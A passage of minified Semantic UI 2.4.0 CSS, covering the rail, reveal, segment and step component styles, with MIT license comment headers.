.5em}.ui.attached.left.rail,.ui.attached.right.rail{padding:0;margin:0}.ui.mini.rail{font-size:.78571429rem}.ui.tiny.rail{font-size:.85714286rem}.ui.small.rail{font-size:.92857143rem}.ui.rail{font-size:1rem}.ui.large.rail{font-size:1.14285714rem}.ui.big.rail{font-size:1.28571429rem}.ui.huge.rail{font-size:1.42857143rem}.ui.massive.rail{font-size:1.71428571rem}/*! + * # Semantic UI 2.4.0 - Reveal + * http://github.com/semantic-org/semantic-ui/ + * + * + * Released under the MIT license + * http://opensource.org/licenses/MIT + * + */.ui.reveal{display:inherit;position:relative!important;font-size:0!important}.ui.reveal>.visible.content{position:absolute!important;top:0!important;left:0!important;z-index:3!important;-webkit-transition:all .5s ease .1s;transition:all .5s ease .1s}.ui.reveal>.hidden.content{position:relative!important;z-index:2!important}.ui.active.reveal .visible.content,.ui.reveal:hover .visible.content{z-index:4!important}.ui.slide.reveal{position:relative!important;overflow:hidden!important;white-space:nowrap}.ui.slide.reveal>.content{display:block;width:100%;white-space:normal;float:left;margin:0;-webkit-transition:-webkit-transform .5s ease .1s;transition:-webkit-transform .5s ease .1s;transition:transform .5s ease .1s;transition:transform .5s ease .1s,-webkit-transform .5s ease .1s}.ui.slide.reveal>.visible.content{position:relative!important}.ui.slide.reveal>.hidden.content{position:absolute!important;left:0!important;width:100%!important;-webkit-transform:translateX(100%)!important;transform:translateX(100%)!important}.ui.slide.active.reveal>.visible.content,.ui.slide.reveal:hover>.visible.content{-webkit-transform:translateX(-100%)!important;transform:translateX(-100%)!important}.ui.slide.active.reveal>.hidden.content,.ui.slide.reveal:hover>.hidden.content{-webkit-transform:translateX(0)!important;transform:translateX(0)!important}.ui.slide.right.reveal>.visible.content{-webkit-transform:translateX(0)!important;transform:translateX(0)!important}.ui.slide.right.reveal>.hidden.content{-webkit-transform:translateX(-100%)!important;transform:translateX(-100%)!important}.ui.slide.right.active.reveal>.visible.content,.ui.slide.right.reveal:hover>.visible.content{-webkit-transform:translateX(100%)!important;transform:translateX(100%)!important}.ui.slide.right.active.reveal>.hidden.content,.ui.slide.right.reveal:hover>.hidden.content{-webkit-transform:translateX(0)!important;transform:translateX(0)!important}.ui.slide.up.reveal>.hidden.content{-webkit-transform:translateY(100%)!important;transform:translateY(100%)!important}.ui.slide.up.active.reveal>.visible.content,.ui.slide.up.reveal:hover>.visible.content{-webkit-transform:translateY(-100%)!important;transform:translateY(-100%)!important}.ui.slide.up.active.reveal>.hidden.content,.ui.slide.up.reveal:hover>.hidden.content{-webkit-transform:translateY(0)!important;transform:translateY(0)!important}.ui.slide.down.reveal>.hidden.content{-webkit-transform:translateY(-100%)!important;transform:translateY(-100%)!important}.ui.slide.down.active.reveal>.visible.content,.ui.slide.down.reveal:hover>.visible.content{-webkit-transform:translateY(100%)!important;transform:translateY(100%)!important}.ui.slide.down.active.reveal>.hidden.content,.ui.slide.down.reveal:hover>.hidden.content{-webkit-transform:translateY(0)!important;transform:translateY(0)!important}.ui.fade.reveal>.visible.content{opacity:1}.ui.fade.active.reveal>.visible.content,.ui.fade.reveal:hover>.visible.content{opacity:0}.ui.move.reveal{position:relative!important;overflow:hidden!important;white-space:nowrap}.ui.move.reveal>.content{display:block;float:left;white-space:normal;margin:0;-webkit-transition:-webkit-transform .5s cubic-bezier(.175,.885,.32,1) .1s;transition:-webkit-transform .5s cubic-bezier(.175,.885,.32,1) .1s;transition:transform .5s cubic-bezier(.175,.885,.32,1) .1s;transition:transform .5s cubic-bezier(.175,.885,.32,1) .1s,-webkit-transform .5s cubic-bezier(.175,.885,.32,1) .1s}.ui.move.reveal>.visible.content{position:relative!important}.ui.move.reveal>.hidden.content{position:absolute!important;left:0!important;width:100%!important}.ui.move.active.reveal>.visible.content,.ui.move.reveal:hover>.visible.content{-webkit-transform:translateX(-100%)!important;transform:translateX(-100%)!important}.ui.move.right.active.reveal>.visible.content,.ui.move.right.reveal:hover>.visible.content{-webkit-transform:translateX(100%)!important;transform:translateX(100%)!important}.ui.move.up.active.reveal>.visible.content,.ui.move.up.reveal:hover>.visible.content{-webkit-transform:translateY(-100%)!important;transform:translateY(-100%)!important}.ui.move.down.active.reveal>.visible.content,.ui.move.down.reveal:hover>.visible.content{-webkit-transform:translateY(100%)!important;transform:translateY(100%)!important}.ui.rotate.reveal>.visible.content{-webkit-transition-duration:.5s;transition-duration:.5s;-webkit-transform:rotate(0);transform:rotate(0)}.ui.rotate.reveal>.visible.content,.ui.rotate.right.reveal>.visible.content{-webkit-transform-origin:bottom right;transform-origin:bottom right}.ui.rotate.active.reveal>.visible.content,.ui.rotate.reveal:hover>.visible.content,.ui.rotate.right.active.reveal>.visible.content,.ui.rotate.right.reveal:hover>.visible.content{-webkit-transform:rotate(110deg);transform:rotate(110deg)}.ui.rotate.left.reveal>.visible.content{-webkit-transform-origin:bottom left;transform-origin:bottom left}.ui.rotate.left.active.reveal>.visible.content,.ui.rotate.left.reveal:hover>.visible.content{-webkit-transform:rotate(-110deg);transform:rotate(-110deg)}.ui.disabled.reveal:hover>.visible.visible.content{position:static!important;display:block!important;opacity:1!important;top:0!important;left:0!important;right:auto!important;bottom:auto!important;-webkit-transform:none!important;transform:none!important}.ui.disabled.reveal:hover>.hidden.hidden.content{display:none!important}.ui.reveal>.ui.ribbon.label{z-index:5}.ui.visible.reveal{overflow:visible}.ui.instant.reveal>.content{-webkit-transition-delay:0s!important;transition-delay:0s!important}.ui.reveal>.content{font-size:1rem!important}/*! + * # Semantic UI 2.4.0 - Segment + * http://github.com/semantic-org/semantic-ui/ + * + * + * Released under the MIT license + * http://opensource.org/licenses/MIT + * + */.ui.segment{position:relative;background:#fff;-webkit-box-shadow:0 1px 2px 0 rgba(34,36,38,.15);box-shadow:0 1px 2px 0 rgba(34,36,38,.15);margin:1rem 0;padding:1em 1em;border-radius:.28571429rem;border:1px solid rgba(34,36,38,.15)}.ui.segment:first-child{margin-top:0}.ui.segment:last-child{margin-bottom:0}.ui.vertical.segment{margin:0;padding-left:0;padding-right:0;background:none transparent;border-radius:0;-webkit-box-shadow:none;box-shadow:none;border:none;border-bottom:1px solid rgba(34,36,38,.15)}.ui.vertical.segment:last-child{border-bottom:none}.ui.inverted.segment>.ui.header{color:#fff}.ui[class*="bottom attached"].segment>[class*="top attached"].label{border-top-left-radius:0;border-top-right-radius:0}.ui[class*="top attached"].segment>[class*="bottom attached"].label{border-bottom-left-radius:0;border-bottom-right-radius:0}.ui.attached.segment:not(.top):not(.bottom)>[class*="top attached"].label{border-top-left-radius:0;border-top-right-radius:0}.ui.attached.segment:not(.top):not(.bottom)>[class*="bottom attached"].label{border-bottom-left-radius:0;border-bottom-right-radius:0}.ui.grid>.row>.ui.segment.column,.ui.grid>.ui.segment.column,.ui.page.grid.segment{padding-top:2em;padding-bottom:2em}.ui.grid.segment{margin:1rem 0;border-radius:.28571429rem}.ui.basic.table.segment{background:#fff;border:1px solid rgba(34,36,38,.15);-webkit-box-shadow:0 1px 2px 0 rgba(34,36,38,.15);box-shadow:0 1px 2px 0 rgba(34,36,38,.15)}.ui[class*="very basic"].table.segment{padding:1em 1em}.ui.placeholder.segment{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;-webkit-box-align:stretch;-ms-flex-align:stretch;align-items:stretch;max-width:initial;-webkit-animation:none;animation:none;overflow:visible;padding:1em 1em;min-height:18rem;background:#f9fafb;border-color:rgba(34,36,38,.15);-webkit-box-shadow:0 2px 25px 0 rgba(34,36,38,.05) inset;box-shadow:0 2px 25px 0 rgba(34,36,38,.05) inset}.ui.placeholder.segment .button,.ui.placeholder.segment textarea{display:block}.ui.placeholder.segment .button,.ui.placeholder.segment .field,.ui.placeholder.segment textarea,.ui.placeholder.segment>.ui.input{max-width:15rem;margin-left:auto;margin-right:auto}.ui.placeholder.segment .column .button,.ui.placeholder.segment .column .field,.ui.placeholder.segment .column textarea,.ui.placeholder.segment .column>.ui.input{max-width:15rem;margin-left:auto;margin-right:auto}.ui.placeholder.segment>.inline{-ms-flex-item-align:center;align-self:center}.ui.placeholder.segment>.inline>.button{display:inline-block;width:auto;margin:0 .35714286rem 0 0}.ui.placeholder.segment>.inline>.button:last-child{margin-right:0}.ui.piled.segment,.ui.piled.segments{margin:3em 0;-webkit-box-shadow:'';box-shadow:'';z-index:auto}.ui.piled.segment:first-child{margin-top:0}.ui.piled.segment:last-child{margin-bottom:0}.ui.piled.segment:after,.ui.piled.segment:before,.ui.piled.segments:after,.ui.piled.segments:before{background-color:#fff;visibility:visible;content:'';display:block;height:100%;left:0;position:absolute;width:100%;border:1px solid rgba(34,36,38,.15);-webkit-box-shadow:'';box-shadow:''}.ui.piled.segment:before,.ui.piled.segments:before{-webkit-transform:rotate(-1.2deg);transform:rotate(-1.2deg);top:0;z-index:-2}.ui.piled.segment:after,.ui.piled.segments:after{-webkit-transform:rotate(1.2deg);transform:rotate(1.2deg);top:0;z-index:-1}.ui[class*="top attached"].piled.segment{margin-top:3em;margin-bottom:0}.ui.piled.segment[class*="top attached"]:first-child{margin-top:0}.ui.piled.segment[class*="bottom attached"]{margin-top:0;margin-bottom:3em}.ui.piled.segment[class*="bottom attached"]:last-child{margin-bottom:0}.ui.stacked.segment{padding-bottom:1.4em}.ui.stacked.segment:after,.ui.stacked.segment:before,.ui.stacked.segments:after,.ui.stacked.segments:before{content:'';position:absolute;bottom:-3px;left:0;border-top:1px solid rgba(34,36,38,.15);background:rgba(0,0,0,.03);width:100%;height:6px;visibility:visible}.ui.stacked.segment:before,.ui.stacked.segments:before{display:none}.ui.tall.stacked.segment:before,.ui.tall.stacked.segments:before{display:block;bottom:0}.ui.stacked.inverted.segment:after,.ui.stacked.inverted.segment:before,.ui.stacked.inverted.segments:after,.ui.stacked.inverted.segments:before{background-color:rgba(0,0,0,.03);border-top:1px solid rgba(34,36,38,.35)}.ui.padded.segment{padding:1.5em}.ui[class*="very padded"].segment{padding:3em}.ui.padded.segment.vertical.segment,.ui[class*="very padded"].vertical.segment{padding-left:0;padding-right:0}.ui.compact.segment{display:table}.ui.compact.segments{display:-webkit-inline-box;display:-ms-inline-flexbox;display:inline-flex}.ui.compact.segments .segment,.ui.segments .compact.segment{display:block;-webkit-box-flex:0;-ms-flex:0 1 auto;flex:0 1 auto}.ui.circular.segment{display:table-cell;padding:2em;text-align:center;vertical-align:middle;border-radius:500em}.ui.raised.segment,.ui.raised.segments{-webkit-box-shadow:0 2px 4px 0 rgba(34,36,38,.12),0 2px 10px 0 rgba(34,36,38,.15);box-shadow:0 2px 4px 0 rgba(34,36,38,.12),0 2px 10px 0 rgba(34,36,38,.15)}.ui.segments{-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;position:relative;margin:1rem 0;border:1px solid rgba(34,36,38,.15);-webkit-box-shadow:0 1px 2px 0 rgba(34,36,38,.15);box-shadow:0 1px 2px 0 rgba(34,36,38,.15);border-radius:.28571429rem}.ui.segments:first-child{margin-top:0}.ui.segments:last-child{margin-bottom:0}.ui.segments>.segment{top:0;bottom:0;border-radius:0;margin:0;width:auto;-webkit-box-shadow:none;box-shadow:none;border:none;border-top:1px solid rgba(34,36,38,.15)}.ui.segments:not(.horizontal)>.segment:first-child{border-top:none;margin-top:0;bottom:0;margin-bottom:0;top:0;border-radius:.28571429rem .28571429rem 0 0}.ui.segments:not(.horizontal)>.segment:last-child{top:0;bottom:0;margin-top:0;margin-bottom:0;-webkit-box-shadow:0 1px 2px 0 rgba(34,36,38,.15),none;box-shadow:0 1px 2px 0 rgba(34,36,38,.15),none;border-radius:0 0 .28571429rem .28571429rem}.ui.segments:not(.horizontal)>.segment:only-child{border-radius:.28571429rem}.ui.segments>.ui.segments{border-top:1px solid rgba(34,36,38,.15);margin:1rem 1rem}.ui.segments>.segments:first-child{border-top:none}.ui.segments>.segment+.segments:not(.horizontal){margin-top:0}.ui.horizontal.segments{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-direction:row;flex-direction:row;background-color:transparent;border-radius:0;padding:0;background-color:#fff;-webkit-box-shadow:0 1px 2px 0 rgba(34,36,38,.15);box-shadow:0 1px 2px 0 rgba(34,36,38,.15);margin:1rem 0;border-radius:.28571429rem;border:1px solid rgba(34,36,38,.15)}.ui.segments>.horizontal.segments{margin:0;background-color:transparent;border-radius:0;border:none;-webkit-box-shadow:none;box-shadow:none;border-top:1px solid rgba(34,36,38,.15)}.ui.horizontal.segments>.segment{-webkit-box-flex:1;flex:1 1 auto;-ms-flex:1 1 0px;margin:0;min-width:0;background-color:transparent;border-radius:0;border:none;-webkit-box-shadow:none;box-shadow:none;border-left:1px solid rgba(34,36,38,.15)}.ui.segments>.horizontal.segments:first-child{border-top:none}.ui.horizontal.segments>.segment:first-child{border-left:none}.ui.disabled.segment{opacity:.45;color:rgba(40,40,40,.3)}.ui.loading.segment{position:relative;cursor:default;pointer-events:none;text-shadow:none!important;color:transparent!important;-webkit-transition:all 0s linear;transition:all 0s linear}.ui.loading.segment:before{position:absolute;content:'';top:0;left:0;background:rgba(255,255,255,.8);width:100%;height:100%;border-radius:.28571429rem;z-index:100}.ui.loading.segment:after{position:absolute;content:'';top:50%;left:50%;margin:-1.5em 0 0 -1.5em;width:3em;height:3em;-webkit-animation:segment-spin .6s linear;animation:segment-spin .6s linear;-webkit-animation-iteration-count:infinite;animation-iteration-count:infinite;border-radius:500rem;border-color:#767676 rgba(0,0,0,.1) rgba(0,0,0,.1) rgba(0,0,0,.1);border-style:solid;border-width:.2em;-webkit-box-shadow:0 0 0 1px transparent;box-shadow:0 0 0 1px transparent;visibility:visible;z-index:101}@-webkit-keyframes segment-spin{from{-webkit-transform:rotate(0);transform:rotate(0)}to{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}@keyframes segment-spin{from{-webkit-transform:rotate(0);transform:rotate(0)}to{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}.ui.basic.segment{background:none transparent;-webkit-box-shadow:none;box-shadow:none;border:none;border-radius:0}.ui.clearing.segment:after{content:".";display:block;height:0;clear:both;visibility:hidden}.ui.red.segment:not(.inverted){border-top:2px solid #db2828!important}.ui.inverted.red.segment{background-color:#db2828!important;color:#fff!important}.ui.orange.segment:not(.inverted){border-top:2px solid #f2711c!important}.ui.inverted.orange.segment{background-color:#f2711c!important;color:#fff!important}.ui.yellow.segment:not(.inverted){border-top:2px solid #fbbd08!important}.ui.inverted.yellow.segment{background-color:#fbbd08!important;color:#fff!important}.ui.olive.segment:not(.inverted){border-top:2px solid #b5cc18!important}.ui.inverted.olive.segment{background-color:#b5cc18!important;color:#fff!important}.ui.green.segment:not(.inverted){border-top:2px solid #21ba45!important}.ui.inverted.green.segment{background-color:#21ba45!important;color:#fff!important}.ui.teal.segment:not(.inverted){border-top:2px solid #00b5ad!important}.ui.inverted.teal.segment{background-color:#00b5ad!important;color:#fff!important}.ui.blue.segment:not(.inverted){border-top:2px solid #2185d0!important}.ui.inverted.blue.segment{background-color:#2185d0!important;color:#fff!important}.ui.violet.segment:not(.inverted){border-top:2px solid #6435c9!important}.ui.inverted.violet.segment{background-color:#6435c9!important;color:#fff!important}.ui.purple.segment:not(.inverted){border-top:2px solid #a333c8!important}.ui.inverted.purple.segment{background-color:#a333c8!important;color:#fff!important}.ui.pink.segment:not(.inverted){border-top:2px solid #e03997!important}.ui.inverted.pink.segment{background-color:#e03997!important;color:#fff!important}.ui.brown.segment:not(.inverted){border-top:2px solid #a5673f!important}.ui.inverted.brown.segment{background-color:#a5673f!important;color:#fff!important}.ui.grey.segment:not(.inverted){border-top:2px solid #767676!important}.ui.inverted.grey.segment{background-color:#767676!important;color:#fff!important}.ui.black.segment:not(.inverted){border-top:2px solid #1b1c1d!important}.ui.inverted.black.segment{background-color:#1b1c1d!important;color:#fff!important}.ui[class*="left aligned"].segment{text-align:left}.ui[class*="right aligned"].segment{text-align:right}.ui[class*="center aligned"].segment{text-align:center}.ui.floated.segment,.ui[class*="left floated"].segment{float:left;margin-right:1em}.ui[class*="right floated"].segment{float:right;margin-left:1em}.ui.inverted.segment{border:none;-webkit-box-shadow:none;box-shadow:none}.ui.inverted.segment,.ui.primary.inverted.segment{background:#1b1c1d;color:rgba(255,255,255,.9)}.ui.inverted.segment .segment{color:rgba(0,0,0,.87)}.ui.inverted.segment .inverted.segment{color:rgba(255,255,255,.9)}.ui.inverted.attached.segment{border-color:#555}.ui.secondary.segment{background:#f3f4f5;color:rgba(0,0,0,.6)}.ui.secondary.inverted.segment{background:#4c4f52 -webkit-gradient(linear,left top,left bottom,from(rgba(255,255,255,.2)),to(rgba(255,255,255,.2)));background:#4c4f52 -webkit-linear-gradient(rgba(255,255,255,.2) 0,rgba(255,255,255,.2) 100%);background:#4c4f52 linear-gradient(rgba(255,255,255,.2) 0,rgba(255,255,255,.2) 100%);color:rgba(255,255,255,.8)}.ui.tertiary.segment{background:#dcddde;color:rgba(0,0,0,.6)}.ui.tertiary.inverted.segment{background:#717579 -webkit-gradient(linear,left top,left bottom,from(rgba(255,255,255,.35)),to(rgba(255,255,255,.35)));background:#717579 -webkit-linear-gradient(rgba(255,255,255,.35) 0,rgba(255,255,255,.35) 100%);background:#717579 linear-gradient(rgba(255,255,255,.35) 0,rgba(255,255,255,.35) 100%);color:rgba(255,255,255,.8)}.ui.attached.segment{top:0;bottom:0;border-radius:0;margin:0 -1px;width:calc(100% + 2px);max-width:calc(100% + 2px);-webkit-box-shadow:none;box-shadow:none;border:1px solid #d4d4d5}.ui.attached:not(.message)+.ui.attached.segment:not(.top){border-top:none}.ui[class*="top attached"].segment{bottom:0;margin-bottom:0;top:0;margin-top:1rem;border-radius:.28571429rem .28571429rem 0 0}.ui.segment[class*="top attached"]:first-child{margin-top:0}.ui.segment[class*="bottom attached"]{bottom:0;margin-top:0;top:0;margin-bottom:1rem;-webkit-box-shadow:0 1px 2px 0 rgba(34,36,38,.15),none;box-shadow:0 1px 2px 0 rgba(34,36,38,.15),none;border-radius:0 0 .28571429rem .28571429rem}.ui.segment[class*="bottom attached"]:last-child{margin-bottom:0}.ui.mini.segment,.ui.mini.segments .segment{font-size:.78571429rem}.ui.tiny.segment,.ui.tiny.segments .segment{font-size:.85714286rem}.ui.small.segment,.ui.small.segments .segment{font-size:.92857143rem}.ui.segment,.ui.segments .segment{font-size:1rem}.ui.large.segment,.ui.large.segments .segment{font-size:1.14285714rem}.ui.big.segment,.ui.big.segments .segment{font-size:1.28571429rem}.ui.huge.segment,.ui.huge.segments .segment{font-size:1.42857143rem}.ui.massive.segment,.ui.massive.segments .segment{font-size:1.71428571rem}/*! + * # Semantic UI 2.4.0 - Step + * http://github.com/semantic-org/semantic-ui/ + * + * + * Released under the MIT license + * http://opensource.org/licenses/MIT + * + */.ui.steps{display:-webkit-inline-box;display:-ms-inline-flexbox;display:inline-flex;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-direction:row;flex-direction:row;-webkit-box-align:stretch;-ms-flex-align:stretch;align-items:stretch;margin:1em 0;background:'';-webkit-box-shadow:none;box-shadow:none;line-height:1.14285714em;border-radius:.28571429rem;border:1px solid rgba(34,36,38,.15)}.ui.steps:first-child{margin-top:0}.ui.steps:last-child{margin-bottom:0}.ui.steps .step{position:relative;display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-flex:1;-ms-flex:1 0 auto;flex:1 0 auto;-ms-flex-wrap:wrap;flex-wrap:wrap;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-direction:row;flex-direction:row;vertical-align:middle;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;margin:0 0;padding:1.14285714em 2em;background:#fff;color:rgba(0,0,0,.87);-webkit-box-shadow:none;box-shadow:none;border-radius:0;border:none;border-right:1px solid rgba(34,36,38,.15);-webkit-transition:background-color .1s ease,opacity .1s ease,color .1s ease,-webkit-box-shadow .1s ease;transition:background-color .1s ease,opacity .1s ease,color .1s ease,-webkit-box-shadow .1s ease;transition:background-color .1s ease,opacity .1s ease,color .1s ease,box-shadow .1s ease;transition:background-color .1s ease,opacity .1s ease,color .1s ease,box-shadow .1s ease,-webkit-box-shadow .1s ease}.ui.steps .step:after{display:none;position:absolute;z-index:2;content:'';top:50%;right:0;border:medium none;background-color:#fff;width:1.14285714em;height:1.14285714em;border-style:solid;border-color:rgba(34,36,38,.15);border-width:0 1px 1px 0;-webkit-transition:background-color .1s ease,opacity .1s ease,color .1s ease,-webkit-box-shadow .1s ease;transition:background-color .1s ease,opacity .1s ease,color .1s ease,-webkit-box-shadow .1s ease;transition:background-color .1s ease,opacity .1s ease,color .1s ease,box-shadow .1s ease;transition:background-color .1s ease,opacity .1s ease,color .1s ease,box-shadow .1s ease,-webkit-box-shadow .1s ease;-webkit-transform:translateY(-50%) translateX(50%) rotate(-45deg);transform:translateY(-50%) translateX(50%) rotate(-45deg)}.ui.steps .step:first-child{padding-left:2em;border-radius:.28571429rem 0 0 .28571429rem}.ui.steps .step:last-child{border-radius:0 .28571429rem .28571429rem 0}.ui.steps .step:last-child{border-right:none;margin-right:0}.ui.steps .step:only-child{border-radius:.28571429rem}.ui.steps .step .title{font-family:Lato,'Helvetica Neue',Arial,Helvetica,sans-serif;font-size:1.14285714em;font-weight:700}.ui.steps .step>.title{width:100%}.ui.steps .step .description{font-weight:400;font-size:.92857143em;color:rgba(0,0,0,.87)}.ui.steps .step>.description{width:100%}.ui.steps .step .title~.description{margin-top:.25em}.ui.steps .step>.icon{line-height:1;font-size:2.5em;margin:0 1rem 0 0}.ui.steps .step>.icon,.ui.steps .step>.icon~.content{display:block;-webkit-box-flex:0;-ms-flex:0 1 auto;flex:0 1 auto;-ms-flex-item-align:middle;align-self:middle}.ui.steps .step>.icon~.content{-webkit-box-flex:1 0 auto;-ms-flex-positive:1 0 auto;flex-grow:1 0 auto}.ui.steps:not(.vertical) .step>.icon{width:auto}.ui.steps .link.step,.ui.steps a.step{cursor:pointer}.ui.ordered.steps{counter-reset:ordered}.ui.ordered.steps .step:before{display:block;position:static;text-align:center;content:counters(ordered, ".");-ms-flex-item-align:middle;align-self:middle;margin-right:1rem;font-size:2.5em;counter-increment:ordered;font-family:inherit;font-weight:700}.ui.ordered.steps .step>*{display:block;-ms-flex-item-align:middle;align-self:middle}.ui.vertical.steps{display:-webkit-inline-box;display:-ms-inline-flexbox;display:inline-flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;overflow:visible}.ui.vertical.steps .step{-webkit-box-pack:start;-ms-flex-pack:start;justify-content:flex-start;border-radius:0;padding:1.14285714em 2em;border-right:none;border-bottom:1px solid rgba(34,36,38,.15)}.ui.vertical.steps .step:first-child{padding:1.14285714em 2em;border-radius:.28571429rem .28571429rem 0 0}.ui.vertical.steps .step:last-child{border-bottom:none;border-radius:0 0 .28571429rem .28571429rem}.ui.vertical.steps .step:only-child{border-radius:.28571429rem}.ui.vertical.steps .step:after{display:none}.ui.vertical.steps .step:after{top:50%;right:0;border-width:0 1px 1px 0}.ui.vertical.steps .step:after{display:none}.ui.vertical.steps .active.step:after{display:block}.ui.vertical.steps .step:last-child:after{display:none}.ui.vertical.steps .active.step:last-child:after{display:block}@media only screen and (max-width:767px){.ui.steps:not(.unstackable){display:-webkit-inline-box;display:-ms-inline-flexbox;display:inline-flex;overflow:visible;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column}.ui.steps:not(.unstackable) .step{width:100%!important;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;border-radius:0;padding:1.14285714em 2em}.ui.steps:not(.unstackable) .step:first-child{padding:1.14285714em 2em;border-radius:.28571429rem .28571429rem 0 0}.ui.steps:not(.unstackable) .step:last-child{border-radius:0 0 .28571429rem .28571429rem}.ui.steps:not(.unstackable) .step:after{display:none!important}.ui.steps:not(.unstackable) .step .content{text-align:center}.ui.ordered.steps:not(.unstackable) .step:before,.ui.steps:not(.unstackable) .step>.icon{margin:0 0 1rem 0}}.ui.steps .link.step:hover,.ui.steps .link.step:hover::after,.ui.steps a.step:hover,.ui.steps a.step:hover::after{background:#f9fafb;color:rgba(0,0,0,.8)}.ui.steps .link.step:active,.ui.steps .link.step:active::after,.ui.steps a.step:active,.ui.steps a.step:active::after{background:#f3f4f5;color:rgba(0,0,0,.9)}.ui.steps .step.active{cursor:auto;background:#f3f4f5}.ui.steps .step.active:after{background:#f3f4f5}.ui.steps .step.active .title{color:#4183c4}.ui.ordered.steps .step.active:before,.ui.steps .active.step .icon{color:rgba(0,0,0,.85)}.ui.steps .step:after{display:block}.ui.steps .active.step:after{display:block}.ui.steps .step:last-child:after{display:none}.ui.steps .active.step:last-child:after{display:none}.ui.steps .link.active.step:hover,.ui.steps .link.active.step:hover::after,.ui.steps a.active.step:hover,.ui.steps a.active.step:hover::after{cursor:pointer;background:#dcddde;color:rgba(0,0,0,.87)}.ui.ordered.steps .step.completed:before,.ui.steps .step.completed>.icon:before{color:#21ba45}.ui.steps .disabled.step{cursor:auto;background:#fff;pointer-events:none}.ui.steps .disabled.step,.ui.steps .disabled.step .description,.ui.steps .disabled.step .title{color:rgba(40,40,40,.3)}.ui.steps .disabled.step:after{background:#fff}@media only screen and (max-width:991px){.ui[class*="tablet stackable"].steps{display:-webkit-inline-box;display:-ms-inline-flexbox;display:inline-flex;overflow:visible;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column}.ui[class*="tablet stackable"].steps .step{-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;border-radius:0;padding:1.14285714em 2em}.ui[class*="tablet stackable"].steps .step:first-child{padding:1.14285714em 2em;border-radius:.28571429rem .28571429rem 0 0}.ui[class*="tablet stackable"].steps .step:last-child{border-radius:0 0 .28571429rem .28571429rem}.ui[class*="tablet stackable"].steps .step:after{display:none!important}.ui[class*="tablet stackable"].steps .step .content{text-align:center}.ui[class*="tablet stackable"].ordered.steps .step:before,.ui[class*="tablet stackable"].steps .step>.icon{margin:0 0 1rem 0}}.ui.fluid.steps{display:-webkit-box;display:-ms-flexbox;display:flex;width:100%}.ui.attached.steps{width:calc(100% + 2px)!important;margin:0 -1px 0;max-width:calc(100% + 2px);border-radius:.28571429rem .28571429rem 0 0}.ui.attached.steps .step:first-child{border-radius:.28571429rem 0 0 0}.ui.attached.steps .step:last-child{border-radius:0 .28571429rem 0 0}.ui.bottom.attached.steps{margin:0 -1px 0;border-radius:0 0 .28571429rem .28571429rem}.ui.bottom.attached.steps .step:first-child{border-radius:0 0 0 .28571429rem}.ui.bottom.attached.steps .step:last-child{border-radius:0 0 .28571429rem 0}.ui.eight.steps,.ui.five.steps,.ui.four.steps,.ui.one.steps,.ui.seven.steps,.ui.six.steps,.ui.three.steps,.ui.two.steps{width:100%}.ui.eight.steps>.step,.ui.five.steps>.step,.ui.four.steps>.step,.ui.one.steps>.step,.ui.seven.steps>.step,.ui.six.steps>.step,.ui.three.steps>.step,.ui.two.steps>.step{-ms-flex-wrap:nowrap;flex-wrap:nowrap}.ui.one.steps>.step{width:100%}.ui.two.steps>.step{width:50%}.ui.three.steps>.step{width:33.333%}.ui.four.steps>.step{width:25%}.ui.five.steps>.step{width:20%}.ui.six.steps>.step{width:16.666%}.ui.seven.steps>.step{width:14.285%}.ui.eight.steps>.step{width:12.5%}.ui.mini.step,.ui.mini.steps .step{font-size:.78571429rem}.ui.tiny.step,.ui.tiny.steps .step{font-size:.85714286rem}.ui.small.step,.ui.small.steps .step{font-size:.92857143rem}.ui.step,.ui.steps .step{font-size:1rem}.ui.large.step,.ui.large.steps .step{font-size:1.14285714rem}.ui.big.step,.ui.big.steps .step{font-size:1.28571429rem}.ui.huge.step,.ui.huge.steps .step{font-size:1.42857143rem}.ui.massive.step,.ui.massive.steps 